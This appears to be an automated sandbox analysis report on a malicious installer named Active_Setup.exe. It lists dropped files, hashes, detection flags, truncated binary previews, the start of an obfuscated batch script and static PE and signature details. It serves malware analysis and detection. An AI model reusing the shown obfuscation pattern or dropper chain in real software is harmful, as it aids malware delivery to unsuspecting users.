Preview:	u,f2.!.9.V.<;.O..$..y..&p..zvB.... .)......W..K..nTM.A=Z.../... .....=#....... .\..J..\~..hd.`.....(....f.g6.R$.$.+;.$b.qH;.)x.~I...;.S...f..g....Y&9]c......hj<... o?...@....f.....m.bYs.....=...d...f.U...A..;.....q..dC....&.9........C...C.u9.teb...y+......P.0q)...i$/.A/..0....S.T...v.....=h.E%l.........P...R...>..8k.E..8-............,c........O.Y.@;j.Y!......G.}.fS.C...Bt.l..S.F./..Z7..].Pe......."..y..+....\|..]....x$.}zG.4.mu.....P-):.C.....($.gt.4.....h.?........#.M.U...a..Z...P.q... .&7.m.a....+......[q.......^i..b.W.x..;....c.t.&{......{%....P.8...0>s3%.K.]......Y.....-.3T.W.-E%(...#lS.P>v.....4!.......;v.L..1=.QT..W...-.]E.h.9a...../^....B6.jt.C+..@R...(.#{.&.../.F..}..t.].>.....7M}....%. .j..{2wx.W.g.../7=o.(x................".-.{...{...e.V...t.k.5S.........8....XI...d.. .........7...s.A@.)N.....2P ...>h....+L..T.A..9.U! .[....~.Nswn........M....k..jO...&..5....b=.......G..M...q/....DT........f.8....^/...MS.\|......;Yx.~...*3.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Trials

Download File

Process:	C:\Users\user\Desktop\Active_Setup.exe
File Type:	Microsoft Cabinet archive data, 487847 bytes, 11 files, at 0x2c +A "Stored" +A "Compound", ID 7276, number 1, 29 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	487847
Entropy (8bit):	7.998674557784322
Encrypted:	true
SSDEEP:	12288:xEEuEAg9EeX3g1G/JzARvTE1t9z3IIktPuB:lA230WJi8R3IIquB
MD5:	D35DCEC6AAC7EA59D7BB5783CA9EC597
SHA1:	A9AD7860E21C438C1299A5B5906A9897BB46491B
SHA-256:	DA086E2CE053B2D2DDC6DD0DC07C12FE04F3FB6EFD967AA35322D24ED53A55BD
SHA-512:	4559B9A69E98A839C86EA942A42F7270660A9B18D69D4F2ED5B634DB27758EC3BE80589DF5EA59A9CCCB6717C6A0BA06D7F3E6019ED22174875C863A19C9D161
Malicious:	false
Preview:	MSCF.....q......,...............l...-........L........!Z.^ .Stored......L....!Z.^ .Compound..0...P....!Z.^ .Howard.`.........!Z.^ .Musicians..<..ex....!Z.^ .Production.....e.....!Z.^ .Floral..0..e.....!Z.^ .Know.....e.....!Z.^ .Holly..P..e.....!Z.^ .Stones..\..e.....!Z.^ .Britney.....eX....!Z.^ .Web..n.+KD..CK.}.\|....n...n..ld..AV..5.Q.7bx,.eu...A.T1.+_.0.@I..$d....m....V.Q.....%. (./(...t.../Y$...9w..B....~$3w.=..s.=.{g...F.q.U....r....j.<.j..sN........g&.O...w%.....;8..l....>.{.n...x.q....nEv...Y....x....4...[Y.a.]..V3u..%g.\|`f..op....>m`....J(...B4....k....z....gp....p....]z.\.C<..;.C.tr.\|.}.&..]/k.iV.<Y....d=.2..../...t.......q.....P.E....=^y.^...J//.....N..A....../....=.f.Jm..1.\.....1...q...$..2...:...)....\|@......4..!...I...MsmG....A.z.>.N....l...n.D..._]..pA........H.46y1'.......C`3...h..........4.n.P.RB....M.+.y..b.u.}..w..l..H.f]`S..A>...{.Y}.i....o.Hk.Y.....%.7.Wh.Hg.....Q.J-a.......v....#k..".IpoN...ff......y...+............Zy..m.5.K.H...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Vocal

Download File

Process:	C:\Users\user\Desktop\Active_Setup.exe
File Type:	ASCII text, with very long lines (1333), with CRLF line terminators
Category:	dropped
Size (bytes):	27575
Entropy (8bit):	5.105511394639179
Encrypted:	false
SSDEEP:	768:7xb7dB7L/YxemBhkZJLs9qcJLTP9qYm4f1OI:x7TzYxemBhkZJLAnCE
MD5:	6D7783C7F92E87117ADCAC74F38B51EF
SHA1:	106E751888202E56658CFAB44D6C6AD4C5045A8D
SHA-256:	B20FA9CEA3602C9C84EB517F3FED8DB035D6C18D9137E7D0B0605EB8C0923C4F
SHA-512:	8DA71F96ADD6FBCC1D7EB9131E924DD6CFD71714EA89075A2419656158BB05705D4B5F8F9F023041BEAE3085A12BD61610523EFA48C9A3CCECB2A44B8E044AB7
Malicious:	false
Preview:	Set Tooth=A..RThVSystem-Feature-..tnrDUltimate-Carolina-Times-Controllers-Beans-Function-Routers-..TyYWHybrid-Counters-Pairs-Tool-Amendment-O-Participating-..uQJersey-Self-Brisbane-Psp-Navigate-Sorry-..YwrEnabling-Predicted-License-Luggage-Socket-Periods-Thumbnail-Visa-Robot-..YABuying-Databases-Comes-Implications-..WFQEvery-Readers-Ecological-..Set Dance=8..eAToys-Wine-Authentication-Behaviour-Golf-Mounting-Fail-Connectivity-Midi-..WfMichel-Sexuality-Cindy-Coupled-Episode-Rwanda-Narrative-Terrace-..VkInterventions-Rentcom-Grenada-Honolulu-Liquid-..BQIScale-Ph-Change-..JlChMile-Companion-Attorneys-Mining-Profiles-..gMTunnel-Addition-Sink-..RCSpecial-Unified-Romantic-Apollo-Months-Gregory-Julia-Bye-Endif-..Set Mess=2..cTYGuinea-Botswana-Odd-Demanding-..XhaShot-..qMUGMrs-Acer-Skirt-Cash-Lib-Moss-Tenant-Retrieve-..IninDominican-Determined-Genealogy-Sh-Extract-Bhutan-Covering-Emphasis-Debut-..yTJulie-Optimal-Casinos-Direct-Dry-Bridal-Increases-Amd-Hair-..RUCrm-Studios-Licensing-Strip-Jan-B

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Vocal.cmd (copy)

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (1333), with CRLF line terminators
Category:	dropped
Size (bytes):	27575
Entropy (8bit):	5.105511394639179
Encrypted:	false
SSDEEP:	768:7xb7dB7L/YxemBhkZJLs9qcJLTP9qYm4f1OI:x7TzYxemBhkZJLAnCE
MD5:	6D7783C7F92E87117ADCAC74F38B51EF
SHA1:	106E751888202E56658CFAB44D6C6AD4C5045A8D
SHA-256:	B20FA9CEA3602C9C84EB517F3FED8DB035D6C18D9137E7D0B0605EB8C0923C4F
SHA-512:	8DA71F96ADD6FBCC1D7EB9131E924DD6CFD71714EA89075A2419656158BB05705D4B5F8F9F023041BEAE3085A12BD61610523EFA48C9A3CCECB2A44B8E044AB7
Malicious:	false
Preview:	Set Tooth=A..RThVSystem-Feature-..tnrDUltimate-Carolina-Times-Controllers-Beans-Function-Routers-..TyYWHybrid-Counters-Pairs-Tool-Amendment-O-Participating-..uQJersey-Self-Brisbane-Psp-Navigate-Sorry-..YwrEnabling-Predicted-License-Luggage-Socket-Periods-Thumbnail-Visa-Robot-..YABuying-Databases-Comes-Implications-..WFQEvery-Readers-Ecological-..Set Dance=8..eAToys-Wine-Authentication-Behaviour-Golf-Mounting-Fail-Connectivity-Midi-..WfMichel-Sexuality-Cindy-Coupled-Episode-Rwanda-Narrative-Terrace-..VkInterventions-Rentcom-Grenada-Honolulu-Liquid-..BQIScale-Ph-Change-..JlChMile-Companion-Attorneys-Mining-Profiles-..gMTunnel-Addition-Sink-..RCSpecial-Unified-Romantic-Apollo-Months-Gregory-Julia-Bye-Endif-..Set Mess=2..cTYGuinea-Botswana-Odd-Demanding-..XhaShot-..qMUGMrs-Acer-Skirt-Cash-Lib-Moss-Tenant-Retrieve-..IninDominican-Determined-Genealogy-Sh-Extract-Bhutan-Covering-Emphasis-Debut-..yTJulie-Optimal-Casinos-Direct-Dry-Bridal-Increases-Amd-Hair-..RUCrm-Studios-Licensing-Strip-Jan-B

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Web

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	72704
Entropy (8bit):	6.632377322152881
Encrypted:	false
SSDEEP:	1536:HKu2IwNnPEBiqXv+G/UXT6TvY464qvI932eOypvcLSDOSpZ+H:HccBiqXvpgF4qv+32eOyKODOSpQH
MD5:	E4DF088F0D1B56E14889149DABC38D52
SHA1:	E5CDB39A14D30EF656DA00A88010C94B02E8F504
SHA-256:	4A867E3DC935DA6F44A55F134EF0F4843E57965683649CC4FC2486E9A6E0B030
SHA-512:	3AA0C6C758192BA60A6B41810A234ABE8D33A3E509F0DAD17D603BC36E8D2EA78E8A164628CB3D49C4CBA0E38B44F2DBA9DFA1BE2BFF809C6C38E0D398147582
Malicious:	false
Preview:	......r.........2._^.V.5..M...t k..W....M.W..<.I.....M.......u._..^.U..QSVW.}............M..0.E...t...........}.....J.h....j.S..p.I.....uP..0.I...Wu5j.h\.J.S..........t!j.hl.J.S.........t.VVS..p.I.....3...u..M.........M......t.V....I...u....;}...V...3._^[.....U..E.W.<...M.......L.....3.....u.3..D..t....<V.u..u......YY..t..u.P....I.....t.V.5...Y......j..'...Y..3.^_].U..Vh..J.h\|.J.h..J.j..w..........t..u.......I...^].^].%..I.U..Vh..J.h..J.h..J.j..<.........u...t.......I.........I.^].U..Vh..J.h..J.h..J.j............u...t.......I.........I.^].U..Vh..J.h..J.h..J.j............u..u...t.......I.........I.^].U..Vh..J.h..J.h..J.j............t..u....u..u.....I......u..u...8.I.^]...M....M.3.;.V.5..L........B.0.@.;.u.^.U..}..u'V...M..>.t..>.t..6....I..&........M.u.^]................SVW.T$..D$..L$.URPQQh.;B.d.5.......L.3.D$.d.%.....D$0.X..L$,3..p....t;.T$4...t.;.v..4v.\.....H..{..u.h.....C...........C......d........._^[.L$..A..........t3.D$..H.3..<...U.h..p..p..p..>......].D$..T$...

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllul9kLZ:NllUG
MD5:	087D847469EB88D02E57100D76A2E8E4
SHA1:	A2B15CEC90C75870FDAE3FEFD9878DD172319474
SHA-256:	81EB9A97215EB41752F6F4189343E81A0D5D7332E1646A24750D2E08B4CAE013
SHA-512:	4682F4457C1136F84C10ACFE3BD114ACF3CCDECC1BDECC340A5A36624D93A4CB3D262B3A6DD3523C31E57C969F04903AB86BE3A2C6B07193BF08C00962B33727
Malicious:	false
Preview:	@...e.................................,..............@..........

C:\Users\user\AppData\Local\Temp\65b2295d

Download File

Process:	C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe
File Type:	PNG image data, 3792 x 2093, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	6447207
Entropy (8bit):	7.998441497232368
Encrypted:	true
SSDEEP:	196608:sXKjzP/kSY5cPYsvASGkG9166F/KHaj2M:sXKjrMSY5yPoxv/XL
MD5:	B0CB3F07919BEB69B342ED871C6511A9
SHA1:	C23C0B4F9810D50ECB9EA186F57325C7B41DEEBE
SHA-256:	AB4A4A40AA1C1129150AE38AA4F939EB22B4125F6BE8F12251D7C76239B3F8F3
SHA-512:	75BD57701CAC2BE23A9A63AE414F0E019D7C69523F93B3CE6D908B76CC382D84AB1F1C2B085633D39A8E7294C1879601A1A3B03C5871BA0E35A345F559E06AA4
Malicious:	false
Preview:	.PNG........IHDR.......-.....1S.... .IDATx..;..G....+.U={.. .....H.$..gm........1c...&.r....wm..=...-F...W....ft...Y.........~.3+.....\|....?@@...o......\.._@...c....0.e..o..us).-.9~.4..:.H]..R.#M.K.!...#.s...4..G.c.#Zk.#B.s...p......R...PU....HUU..RJ.......^...Ru]..n...&w.R.WeE.DH.kB...)....!.....cRI.....d.u.....W..j..xw... .e,.....lC`....o=.^ `..d....;.nH..\|k..3..}......'Ts.....D....C..h.{......$.}w.np..h.n1..U9\F..<[...J..\..............c..f.6.g.o......$.1..^z)..8..c$./.\|3...s.9..&.\|...r....L.q..I~{)..>.uw..oY.d../..ksw..P..p.]....T.K1.R..i.........I.9B.....D@@@..a/.?.[ 8.K\|......H..X..T...4.{..c..4..!.^...}X~7.'......uc.$H................\|.{5...Q...,..{..p..]v{....m.]).....[-.{..... !l......V..W k....u....g...$....[%>^.oI.\|.......$.......$.g.@...m.hI~S;.).=...K%..H.T..d"....W.O.J.A..../%..@..J..-...ZW........oz....b.....B..x.1......>q.....[..I>..l...t..I..I..n....s....P..p...C..3..\|.(..<..3r.F7d.#..;..".p..dg.p.#4Mm........}.....A.......

C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe

Download File

Process:	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	8767044
Entropy (8bit):	7.960152326344281
Encrypted:	false
SSDEEP:	196608:r7B6e1u5SqD6mOefSP01pbtDgGFN6sskirwDODi:roweOFCS8jbtM8N6sjYY
MD5:	51F99EDDD33CC04FB0F55F873B76D907
SHA1:	60CD79359912A9069674CEE3C5C5982A9B01CE82
SHA-256:	16E037D7B5F6A8E02B73671E1214B7979EB5D0AB0FC1106CF4C321F0FF53E13A
SHA-512:	7D2DF781963C8AC8A6F2A86EB95742AA26C932671D31DF8F09E334B2AF5E543EC3FB636ABFA4FB2512EC70126E1B9DB6DC7E9446A2A85BCA53EAFC790668964A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 53%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.................t...p....................@.......................................@......@...................p..q....P.......................~..XG...........................................................R..\....`.......................text....V.......X.................. ..`.itext..d....p.......\.............. ..`.data...88.......:...x..............@....bss....Xr...............................idata.......P......................@....didata......`......................@....edata..q....p......................@..@.tls.....................................rdata..]...........................@..@.reloc..............................@..B.rsrc...............................@..@....................................@..@................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x00vly2n.zyy.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xlsr5qam.fnl.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\is-A0MP0.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	35616
Entropy (8bit):	6.953519176025623
Encrypted:	false
SSDEEP:	768:Z4NHPfHCs6GNOpiM+RFjFyzcN23A4F+OiR9riuujF+X4UriXiRF:Zanvc+R9F4s8/RiPWuUs4UWXiv
MD5:	C6AE924AD02500284F7E4EFA11FA7CFC
SHA1:	2A7770B473B0A7DC9A331D017297FF5AF400FED8
SHA-256:	31D04C1E4BFDFA34704C142FA98F80C0A3076E4B312D6ADA57C4BE9D9C7DCF26
SHA-512:	F321E4820B39D1642FC43BF1055471A323EDCC0C4CBD3DDD5AD26A7B28C4FB9FC4E57C00AE7819A4F45A3E0BB9C7BAA0BA19C3CEEDACF38B911CDF625AA7DDAE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#~..#~..#~...q.. ~..#~..!~......"~......+~......"~......"~..Rich#~..........................PE..L....[.L...........!.....6...........E.......P......................................D=...............................P.......P..(....................L.. ?...p.......................................................P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data...8....`.......<..............@....reloc.......p.......J..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-A0MP0.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-IDM6D.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	35616
Entropy (8bit):	6.953519176025623
Encrypted:	false
SSDEEP:	768:Z4NHPfHCs6GNOpiM+RFjFyzcN23A4F+OiR9riuujF+X4UriXiRF:Zanvc+R9F4s8/RiPWuUs4UWXiv
MD5:	C6AE924AD02500284F7E4EFA11FA7CFC
SHA1:	2A7770B473B0A7DC9A331D017297FF5AF400FED8
SHA-256:	31D04C1E4BFDFA34704C142FA98F80C0A3076E4B312D6ADA57C4BE9D9C7DCF26
SHA-512:	F321E4820B39D1642FC43BF1055471A323EDCC0C4CBD3DDD5AD26A7B28C4FB9FC4E57C00AE7819A4F45A3E0BB9C7BAA0BA19C3CEEDACF38B911CDF625AA7DDAE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#~..#~..#~...q.. ~..#~..!~......"~......+~......"~......"~..Rich#~..........................PE..L....[.L...........!.....6...........E.......P......................................D=...............................P.......P..(....................L.. ?...p.......................................................P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data...8....`.......<..............@....reloc.......p.......J..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-IDM6D.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3367424
Entropy (8bit):	6.530011244733973
Encrypted:	false
SSDEEP:	98304:qJYVM+LtVt3P/KuG2ONG9iqLRQEd333T:7VL/tnHGYiql5l
MD5:	F809F51E678B7F2E388F8C969EF902C8
SHA1:	DC1C645533E0FD1637BF455BA69A9481E7C4B83A
SHA-256:	8D6E5513DE230109BE2238537173352832D1AEBDC7B10FAD0E59D4882812CA81
SHA-512:	C500B40B604AD6203396FCC0243CBB50EAD544586EAB2448C2C6BCC2106DFAE3777A85C344766224F5F695FA60295880623B2A97B0AAE97DC547076FA03CD067
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................04.......3...@......@...................P,.n.....,.j:...P0.p.....................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc...p....P0......./.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3367424
Entropy (8bit):	6.530011244733973
Encrypted:	false
SSDEEP:	98304:qJYVM+LtVt3P/KuG2ONG9iqLRQEd333T:7VL/tnHGYiql5l
MD5:	F809F51E678B7F2E388F8C969EF902C8
SHA1:	DC1C645533E0FD1637BF455BA69A9481E7C4B83A
SHA-256:	8D6E5513DE230109BE2238537173352832D1AEBDC7B10FAD0E59D4882812CA81
SHA-512:	C500B40B604AD6203396FCC0243CBB50EAD544586EAB2448C2C6BCC2106DFAE3777A85C344766224F5F695FA60295880623B2A97B0AAE97DC547076FA03CD067
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................04.......3...@......@...................P,.n.....,.j:...P0.p.....................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc...p....P0......./.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	846325235
Entropy (8bit):	0.13954043794048707
Encrypted:	false
SSDEEP:
MD5:	6A8860A8150021B2D5B9BB707DE4FA37
SHA1:	FEB8A10FEE0388E1D93C669444F3A237C38EA5E4
SHA-256:	0CE2CDB61164F5C03D11DEF609873901F58510F764E8491B4EC1A5D3E0759E0B
SHA-512:	899CC13F5CD136D9F3D06BD13BD608CAB1DCEC1CE2F550A371C76253CFB155149A2CAE9827A365CCCFFA921A607A684DC7CD1A15645D317D7D9C199CEA1735F8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........"w.RC..RC..RC..I..`C..I...C..[;..UC..[;..IC..RC...B..I..NC..I..{C..I..SC..I..SC..RichRC..........................PE..L....NKO......................h...................@..........................@r.......r.......@.........................................:.e..........................................................................................................text...!........................... ..`.rdata...1.......2..................@..@.data...x........,..................@....rsrc...:.e.......e.................@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\ColorStreamLib\is-NQ5E5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	846325235
Entropy (8bit):	0.13954043794048707
Encrypted:	false
SSDEEP:
MD5:	6A8860A8150021B2D5B9BB707DE4FA37
SHA1:	FEB8A10FEE0388E1D93C669444F3A237C38EA5E4
SHA-256:	0CE2CDB61164F5C03D11DEF609873901F58510F764E8491B4EC1A5D3E0759E0B
SHA-512:	899CC13F5CD136D9F3D06BD13BD608CAB1DCEC1CE2F550A371C76253CFB155149A2CAE9827A365CCCFFA921A607A684DC7CD1A15645D317D7D9C199CEA1735F8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........"w.RC..RC..RC..I..`C..I...C..[;..UC..[;..IC..RC...B..I..NC..I..{C..I..SC..I..SC..RichRC..........................PE..L....NKO......................h...................@..........................@r.......r.......@.........................................:.e..........................................................................................................text...!........................... ..`.rdata...1.......2..................@..@.data...x........,..................@....rsrc...:.e.......e.................@..@........................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.958714213250821
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Active_Setup.exe
File size:	1'133'619 bytes
MD5:	736d94d331cf5d6a2cc45f4743132008
SHA1:	0b55e71db47a40ef5b4f9f2068dd26fa64b898b2
SHA256:	b630b19ccd0acb4fda6404610f1cd7df0c71849f2c9dca42ce5df9779f96db47
SHA512:	ecbcc0159cbf45a094cf887293a7b77a3f8d79dda61a7a59fd164a5bc4f8398c1fd6f2cf429fd0d25644df0b211768fb417bba790a113eb23d5e295dbb5018bb
SSDEEP:	24576:mdnMao5l87bHiMAD+YW47CU/q+cbrrE6TaxX3mJVGlZkmrK:6Iivgr7C/bv2d3mzGHkmrK
TLSH:	9B35339607AC8173F2B2CDB471F9E0625E3DF89204F8C81B6B12DE4DBE157834A89719
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L...X\|.N.................n...`...B...8.....

File Icon


Icon Hash:	00001e54c6165000

Static PE Info

General

Entrypoint:	0x403883
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4E807C58 [Mon Sep 26 13:21:28 2011 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	be41bf7b8cc010b614bd36bbca606973

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=GlobalSign GCC R45 EV CodeSigning CA 2020, O=GlobalSign nv-sa, C=BE
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	23/01/2024 10:24:28 12/03/2025 16:08:47
Subject Chain	E=a.tozzi@entersrl.it, CN=Enter Srl, OU=Enter Srl, O=Enter Srl, STREET=VIA CARLO ALBERTO DALLA CHIESA 18, L=Grottammare, S=Ascoli Piceno, C=IT, OID.1.3.6.1.4.1.311.60.2.1.3=IT, SERIALNUMBER=01524500442, OID.2.5.4.15=Private Organization
Version:	3
Thumbprint MD5:	D5D66EA7AE498CF896CF422DE5426590
Thumbprint SHA-1:	232E8A3F99CB8B202BE4DD8A235590F838B29038
Thumbprint SHA-256:	9B04FC852CDCBDA62D870E4112459D2A2A30586909E0E76B77AFA5DDF6FBA631
Serial:	5600D74B2CE1156218EEA30D

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 00409268h
mov dword ptr [esp+14h], ebp
call dword ptr [00408030h]
push 00008001h
